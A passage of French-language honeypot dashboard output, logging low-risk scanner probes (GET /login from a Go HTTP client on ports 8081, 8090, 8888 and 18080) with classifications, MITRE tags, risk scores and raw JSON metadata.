"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 41\/100",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 41,
"risk_label": "Moyen",
"service_name": "monero-p2p",
"service_label_fr": "MONERO P2P",
"dst_port": 18080,
"protocol_emulated": true,
"tags_summary": [
"INT-EMAIL-imap-login"
],
"tags_summary_labels_fr": [
"Email Imap Login"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1110",
"mitre_technique": "T1110",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-monero-p2p",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "monero_p2p",
"service_banner": "honeypot-monero-p2p",
"service_os": "linux",
"dst_port": "18080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_get_probe",
"imap_probe",
"monero_p2p_emulated",
"monero_p2p_payload",
"net_monero_probe"
]
}
|
|
|
TCP |
8888 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8888 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8888
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
HTTP alt 8888 probe
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8888
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.871806509219084,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8888,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "8fecaa4ef78fb8e77169b85bb67faba623cae0c7",
"event_fingerprint": "0b09f788301fe2b2d89591d964f79d26de504c05",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"matched_patterns": [
"pat-0599"
],
"matched_pattern_names": [
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0599"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c53640b5dd77c2536eeed513d833625",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b89fed1e6c2227c2911152d83a1f2dc6363005a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8081 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8081 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8081
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8081
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.875059505265444,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8081,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "42f0cdfde687c175be4bd286d7bf2708884f81e0",
"event_fingerprint": "c392e0bc933513b948daa7aeb55cb8ea496a895b",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "eb7bb7a037f77d0fb5b9ef8a8a38fbde",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b94a76c15624891131c4ae659c0c81dbd413d823",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8090 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8090 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8090
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8090
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "112b403ea5b0e3a7d0d331ab96d728785c3ab96b",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.898849113367722,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8090,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "9c4eec14d05d8c00da5b7af4e7038753a7611b45",
"event_fingerprint": "f1e6649c0d7d508382d12ef69014e8f2d1257b1e",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40266fc776e64f535c40037051396a01",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8090,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9d2352b7367a835e98ef199aa53aaab0b406b578",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8090,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
